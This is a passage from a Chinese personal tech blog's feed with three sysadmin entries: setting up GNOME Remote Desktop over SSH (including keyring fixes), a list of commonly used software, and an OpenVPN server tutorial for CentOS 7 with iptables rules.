systemd-inhibit --what=idle:sleep:shutdown --who=&amp;quot;Reason&amp;quot; --why=&amp;quot;Explanation&amp;quot; &amp;#x2F;path&amp;#x2F;to&amp;#x2F;command 
systemd-inhibit --what=idle:sleep:shutdown --who=&amp;quot;Keep up&amp;quot; --why=&amp;quot;Preventing sleep&amp;quot; &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;htop
systemd-inhibit --list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;sshdeng-lu-hou-de-quan-liu-cheng-pei-zhi&quot;&gt;ssh登录后的全流程配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;USERNAME=peter
UID=$(id -u $USERNAME)
export XDG_RUNTIME_DIR=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;$UID
export DBUS_SESSION_BUS_ADDRESS=unix:path=$XDG_RUNTIME_DIR&amp;#x2F;bus

# 安装（Ubuntu&amp;#x2F;Debian）
sudo apt update
sudo apt install -y gnome-remote-desktop winpr-utils

# 生成证书并配置
sudo -u $USERNAME -- sh -c &amp;#x27;mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop &amp;amp;&amp;amp; \
  winpr-makecert -silent -rdp -path ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop rdp-tls&amp;#x27;

sudo -u $USERNAME -- bash -c &amp;#x27;
  grdctl rdp set-tls-key ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key
  grdctl rdp set-tls-cert ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.crt
  grdctl rdp set-credentials &amp;#x27;&amp;quot;&amp;#x27;&amp;quot;$USERNAME&amp;quot;&amp;#x27;&amp;quot;&amp;#x27; &amp;#x27;&amp;quot;&amp;#x27;&amp;quot;&amp;#x27;StrongP@ssw0rd&amp;#x27;&amp;quot;&amp;#x27;&amp;quot;&amp;#x27;
  grdctl rdp enable
  grdctl rdp disable-view-only
  systemctl --user enable --now gnome-remote-desktop.service
&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiu-fu-mi-yao-huan-jie-suo-shi-bai&quot;&gt;修复密钥环解锁失败&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;GNOME Remote Desktop（以及 grdctl）会把 RDP&#x2F;VNC 凭据、TLS 证书路径 等信息加密保存到 GNOME Keyring 中。&lt;&#x2F;li&gt;
&lt;li&gt;Keyring 是由 gnome-keyring-daemon 管理的一个加密存储，默认有一个叫 “login” 的 keyring 文件：&lt;&#x2F;li&gt;
&lt;li&gt;位于：~&#x2F;.local&#x2F;share&#x2F;keyrings&#x2F;login.keyring&lt;&#x2F;li&gt;
&lt;li&gt;加密口令：最初创建用户时的密码&lt;&#x2F;li&gt;
&lt;li&gt;平常在 GUI 登录时由 gnome-keyring-daemon 自动解锁。&lt;&#x2F;li&gt;
&lt;li&gt;但当你通过 SSH &#x2F; 无图形登录时，这个 daemon 没有运行，也无法自动解锁。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shan-chu-zhong-jian-login-mi-yao-huan-zui-zhi-jie&quot;&gt;删除&#x2F;重建 login 密钥环（最直接）&lt;&#x2F;h3&gt;
&lt;p&gt;如果你不在意旧的保存内容，可以直接删除密钥环并重新生成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mv ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;login.keyring ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyrings.bak
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tong-bu-mi-ma-ru-guo-ni-zhi-dao-jiu-mi-ma&quot;&gt;同步密码（如果你知道旧密码）&lt;&#x2F;h3&gt;
&lt;p&gt;如果你确定旧密码是 “OldPass”，新密码是 “NewPass”，
可以用 GNOME Keyring 工具同步（需要临时图形环境）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;seahorse
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后右键 “登录” → “更改密码”，输入旧密码 + 新密码同步。
之后 CLI 方式的 grdctl 输入新密码就能正确验证。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shou-dong-qi-dong-gnome-keyring-daemon-ssh-huan-jing&quot;&gt;手动启动 gnome-keyring-daemon（SSH 环境）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;eval $(gnome-keyring-daemon --start --components=secrets,pkcs11,ssh,gpg)
export GNOME_KEYRING_CONTROL
export GNOME_KEYRING_PID
export SSH_AUTH_SOCK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wan-quan-tiao-guo-keyring-lin-shi-ce-shi-yong&quot;&gt;完全跳过 keyring（临时、测试用）&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME Remote Desktop 没有官方参数能跳过 keyring保存，但可以用一种“hack”方式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 仅限测试环境！！
export GNOME_KEYRING_CONTROL=&amp;#x2F;tmp&amp;#x2F;fake-keyring
mkdir -p $GNOME_KEYRING_CONTROL
grdctl rdp set-credentials &amp;lt;user&amp;gt; &amp;lt;password&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这会创建一个临时未加密 keyring 存储（适合容器或测试机），
重启后失效，但能避免“解锁密钥环”弹窗。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>常用软件列表</title>
        <published>2025-10-24T10:32:13+08:00</published>
        <updated>2025-12-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/常用软件列表/"/>
        <id>https://vercel.juzhong.asia/2025/10/常用软件列表/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/常用软件列表/">&lt;h1 id=&quot;ruan-jian-lie-biao&quot;&gt;软件列表&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;mkcert&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;openssl&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;openvpn
easyrsa
self-service-password&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;gpg&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;cargo install xremap --features gnome&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;nginx&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;pingora:
pingap&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ddns-go&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;dns-sd(dns service discovery) mDNS&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;vlc&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ffmpeg&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;qbttorrent&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;excalidraw.com&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;penpot.app&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;video&quot;&gt;video&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;apt install shotcut      # 视频处理&lt;&#x2F;li&gt;
&lt;li&gt;sudo apt install kooha   # 录屏工具&lt;&#x2F;li&gt;
&lt;li&gt;vlc                      # 视频播放， rtsp流媒体&lt;&#x2F;li&gt;
&lt;li&gt;obs&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;kai-fa&quot;&gt;开发&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;aws s3&lt;&#x2F;li&gt;
&lt;li&gt;minio rustfs&lt;&#x2F;li&gt;
&lt;li&gt;bind9 hickory-dns&lt;&#x2F;li&gt;
&lt;li&gt;hyper axum tokio tonic tower clap serde tokio-smoltcp rustls zola tracing&lt;&#x2F;li&gt;
&lt;li&gt;podman llvm clang rust-analyzer&lt;&#x2F;li&gt;
&lt;li&gt;asan afl++ syzkaller&lt;&#x2F;li&gt;
&lt;li&gt;cloudflared&#x2F;worker&lt;&#x2F;li&gt;
&lt;li&gt;vscode&#x2F;chrome 插件&lt;&#x2F;li&gt;
&lt;li&gt;qemu&lt;&#x2F;li&gt;
&lt;li&gt;mimalloc&lt;&#x2F;li&gt;
&lt;li&gt;systemfd --no-pid -s http::5000 -- cargo watch -x run&lt;&#x2F;li&gt;
&lt;li&gt;shoes sing-box xray&lt;&#x2F;li&gt;
&lt;li&gt;dbus&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;learn&quot;&gt;learn&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;架构设计 https:&#x2F;&#x2F;github.com&#x2F;Admol&#x2F;SystemDesign.git&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ai-helper&quot;&gt;AI helper&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;ollma RAGflow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zi-dian&quot;&gt;字典&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;golddict dialect pot-desktop&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xiang-mu-guan-li&quot;&gt;项目管理&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;jira&lt;&#x2F;li&gt;
&lt;li&gt;NocoBase&lt;&#x2F;li&gt;
&lt;li&gt;Plane&lt;&#x2F;li&gt;
&lt;li&gt;Planka&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenVpn 搭建教程</title>
        <published>2025-10-24T00:00:00+00:00</published>
        <updated>2025-10-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openvpn-搭建教程/"/>
        <id>https://vercel.juzhong.asia/obsidian/openvpn-搭建教程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openvpn-搭建教程/">&lt;h1 id=&quot;openvpn-da-jian-jiao-cheng&quot;&gt;OpenVpn 搭建教程&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jesse.top&#x2F;2018&#x2F;06&#x2F;23&#x2F;Linux-Service&#x2F;Openvpn%E6%9C%8D%E5%8A%A1%E6%90%AD%E5%BB%BA&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.jesse.top&#x2F;2018&#x2F;06&#x2F;23&#x2F;Linux-Service&#x2F;Openvpn服务搭建&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;openvpn-da-jian-jiao-cheng-1&quot;&gt;OpenVpn 搭建教程&lt;&#x2F;h2&gt;
&lt;p&gt;参考下面文档  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.startupcto.com&#x2F;server-tech&#x2F;centos&#x2F;setting-up-openvpn-server-on-centos&quot;&gt;centos7 搭建openvpn&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;huan-jing&quot;&gt;环境:&lt;&#x2F;h4&gt;
&lt;p&gt;KVM虚拟机
操作系统:centos7.4
openvpn版本:2.4
easyrsa版本:3.0
VPN客户端内网地址段:10.0.80.0&#x2F;24
公司服务器内网地址网段:10.0.0.0&#x2F;24&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;note: RSA3.0的版本和2.0的使用有差别,注意区分&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;bu-zou&quot;&gt;步骤:&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;一.获取新版本yum源&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost ~]$wget  http:&amp;#x2F;&amp;#x2F;dl.fedoraproject.org&amp;#x2F;pub&amp;#x2F;epel&amp;#x2F;7&amp;#x2F;x86_64&amp;#x2F;Packages&amp;#x2F;e&amp;#x2F;epel-release-7-11.noarch.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;二.安装yum源&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost ~]$rpm -Uvh epel-release-7-11.noarch.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;三.安装openvpn和easy-rsa&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost ~]$ yum install easy-rsa openssh-server lzo openssl openssl-devel openvpn NetworkManager-openvpn openvpn-auth-ldap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;四.拷贝server.conf配置文件到&#x2F;etc&#x2F;openvpn&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost ~]$cp &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;openvpn-2.4.6&amp;#x2F;sample&amp;#x2F;sample-config-files&amp;#x2F;server.conf &amp;#x2F;etc&amp;#x2F;openvpn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;五.拷贝easy-rsa程序到&#x2F;etc&#x2F;openvpn&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost openvpn]$cp -R &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;easy-rsa&amp;#x2F; &amp;#x2F;etc&amp;#x2F;openvpn
[root@localhost openvpn]$cd &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;六.easyrsa初始化私钥..easyrsa3.0的配置步骤和老版本2.0比有点变化.不需要定义var变量.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$.&amp;#x2F;easyrsa init-pki
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$.&amp;#x2F;easyrsa build-ca nopass
Generating a 2048 bit RSA private key
...+++
......................+++
writing new private key to &amp;#x27;&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3.0.3&amp;#x2F;pki&amp;#x2F;private&amp;#x2F;ca.key.4VoxQD3h0Y&amp;#x27;
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter &amp;#x27;.&amp;#x27;, the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [Easy-RSA CA]:dwd

CA creation complete and you may now import and sign cert requests.
Your new CA certificate file for publishing is at:
&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3.0.3&amp;#x2F;pki&amp;#x2F;ca.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;七.创建服务端秘钥.openvpn表示openvpn服务器的服务器名称.nopass选项说明不需要密码.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$.&amp;#x2F;easyrsa build-server-full openvpn nopass
Generating a 2048 bit RSA private key
...+++
...........................................................................................+++
writing new private key to &amp;#x27;&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3.0.3&amp;#x2F;pki&amp;#x2F;private&amp;#x2F;openvpn.key.XpsmN8YpAx&amp;#x27;
-----
Using configuration from .&amp;#x2F;openssl-1.0.cnf
Check that the request matches the signature
Signature ok
The Subject&amp;#x27;s Distinguished Name is as follows
commonName            :ASN.1 12:&amp;#x27;openvpn&amp;#x27;
Certificate is to be certified until May 28 08:57:19 2028 GMT (3650 days)

Write out database with 1 new entries
Data Base Updated
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;八.生成dh密码算法&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$.&amp;#x2F;easyrsa gen-dh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;九.拷贝生成的秘钥到openvpn的配置文件夹下&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$cd pki
[root@localhost pki]$ls
ca.crt  certs_by_serial  dh.pem  index.txt  index.txt.attr  index.txt.attr.old  index.txt.old  issued  private  reqs  serial  serial.old
[root@localhost pki]$cp dh.pem ca.crt &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;
[root@localhost pki]$cp issued&amp;#x2F;openvpn.crt &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;server.crt
[root@localhost pki]$cp private&amp;#x2F;openvpn.key &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;server.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;十.修改server.conf配置文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于配置文件的说明可以参考:&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;my.oschina.net&#x2F;liucao&#x2F;blog&#x2F;863112&quot;&gt;https:&#x2F;&#x2F;my.oschina.net&#x2F;liucao&#x2F;blog&#x2F;863112&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$sed -e &amp;#x27;s&amp;#x2F;^[;#].*&amp;#x2F;&amp;#x2F;g&amp;#x27; &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;server.conf | sed &amp;#x27;&amp;#x2F;^$&amp;#x2F;d&amp;#x27;
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key  # This file should be kept secret
dh dh.pem
server 10.0.80.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push &amp;quot;route 10.0.0.0 255.255.0.0&amp;quot;
push &amp;quot;redirect-gateway&amp;quot;
push &amp;quot;dhcp-option DNS 114.114.114.114&amp;quot;
push &amp;quot;dhcp-option DNS 210.22.70.3&amp;quot;
duplicate-cn
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
log-append  openvpn.log
verb 3
explicit-exit-notify 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;特别注意push “redirect-gateway”选项和duplicate-cn选项..下面来重点分析一下&lt;&#x2F;p&gt;
&lt;p&gt;1.&lt;strong&gt;redirect-gateway&lt;&#x2F;strong&gt;参数表示将推送一条指向本机的默认网关到客户端.这就意味着只要客户端拨了VPN,不管他访问什么,只要是访问互联网就走VPN通道.先到VPN服务器,由你VPN服务器转发请求再返回给你客户端.这样一来访问互联网速度会受很大影响.&lt;&#x2F;p&gt;
&lt;p&gt;注释该参数,表示不推送默认网关给客户端.这样客户端只访问公司内网服务器才走VPN通道,而访问互联网仍然是走本地网络.在我这个例子中.push “route 10.0.0.0 255.255.0.0”表示推送给客户端的公司内网服务器网段.当客户端访问10.0.0.0&#x2F;16网络时走VPN通道&lt;&#x2F;p&gt;
&lt;p&gt;2.&lt;strong&gt;duplicate-cn:&lt;&#x2F;strong&gt; 这个选项表示可以多人同时共用一个客户端账号.如果注释此选项,则同一个账号,同时只能一个人使用.如果有第二个人用同样的账户登录,会将之前的使用该账号登录的人挤下去.这一点后续还会讲到&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;十一.关闭centos7自带的firewalld.然后保存iptables设置,开启自起&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$systemctl stop firewalld.service
[root@openvpn ~]$systemctl disable firewalld.service
[root@openvpn ~]$yum install iptables-services
[root@openvpn ~]$systemctl enable iptables.service
[root@openvpn ~]$systemctl start iptables
[root@openvpn ~]$service iptables save
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;十二.修改防火墙.将下列保存成脚本文件,然后执行&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

# REMEMBER: Run this as a single bash script or you&amp;#x27;ll lock yourself out of your machine.

# Flushing all rules
iptables -F FORWARD
iptables -F INPUT
iptables -F OUTPUT
iptables -X
# Setting default filter policy
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# Allow unlimited traffic on loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Accept outbound on the primary interface
iptables -I OUTPUT -o eth0 -d 0.0.0.0&amp;#x2F;0 -j ACCEPT
# Accept inbound TCP packets
iptables -I INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow incoming SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -s 0.0.0.0&amp;#x2F;0 -j ACCEPT
# Allow incoming OpenVPN
iptables -A INPUT -p udp --dport 1194 -m state --state NEW -s 0.0.0.0&amp;#x2F;0 -j ACCEPT
# Enable NAT for the VPN
iptables -t nat -A POSTROUTING -s 10.0.80.0&amp;#x2F;24 -o eth0 -j MASQUERADE
# Allow TUN interface connections to OpenVPN server
iptables -A INPUT -i tun0 -j ACCEPT
# Allow TUN interface connections to be forwarded through other interfaces
iptables -A FORWARD -i tun0 -j ACCEPT
iptables -A OUTPUT -o tun0 -j ACCEPT
iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i eth0 -o tun+ -m state --state RELATED,ESTABLISHED -j ACCEPT
# Allow outbound access to all networks on the Internet from the VPN
iptables -A FORWARD -i tun0 -s 10.0.80.0&amp;#x2F;24 -d 0.0.0.0&amp;#x2F;0 -j ACCEPT
# Block client-to-client routing on the VPN
iptables -A FORWARD -i tun0 -s 10.0.80.0&amp;#x2F;24 -d 10.0.80.0&amp;#x2F;24 -j DROP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;上面的Iptables规则过于严格.如果你的服务器Iptables不需要做任何限制.那么只需要添加一条iptables的nat规则就可以了:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;iptables -t nat -A POSTROUTING -s 10.0.80.0&amp;#x2F;24 -o eth0 -j MASQUERADE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;十三.开启OpenVPN服务器的网卡转发功能&lt;&#x2F;strong&gt;*&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;echo &amp;quot;net.ipv4.ip_forward = 1&amp;quot; &amp;gt;&amp;gt;&amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;十四.启动openvpn&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;# sudo systemctl -f enable openvpn@server.service
# sudo systemctl start openvpn@server.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;note: 这个openvpn@server格式的server表示Openvpn使用erver.conf配置文件启动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;十五.创建一个客户端秘钥.dwdtech是客户端名称,nopass选项表示不需要密码&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@localhost 3.0.3]$.&amp;#x2F;easyrsa build-client-full dwdtech nopass
Generating a 2048 bit RSA private key
......................................+++
.........................................................................................................................................+++
writing new private key to &amp;#x27;&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3.0.3&amp;#x2F;pki&amp;#x2F;private&amp;#x2F;dwdtech.key.klfqyxWXig&amp;#x27;
-----
Using configuration from .&amp;#x2F;openssl-1.0.cnf
Check that the request matches the signature
Signature ok
The Subject&amp;#x27;s Distinguished Name is as follows
commonName            :ASN.1 12:&amp;#x27;dwdtech&amp;#x27;
Certificate is to be certified until May 28 09:03:05 2028 GMT (3650 days)

Write out database with 1 new entries
Data Base Updated
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;十六.配置客户端的配置文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;1.创建客户端配置文件夹.拷贝客户端秘钥&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$ mkdir ~&amp;#x2F;vpn-client
[root@openvpn 3]$ cd &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3

[root@openvpn 3]$cp pki&amp;#x2F;ca.crt ~&amp;#x2F;vpn-client&amp;#x2F;
[root@openvpn 3]$cp pki&amp;#x2F;issued&amp;#x2F;dwdtech.crt ~&amp;#x2F;vpn-client&amp;#x2F;client.crt
[root@openvpn 3]$cp pki&amp;#x2F;private&amp;#x2F;dwdtech.key ~&amp;#x2F;vpn-client&amp;#x2F;client.key
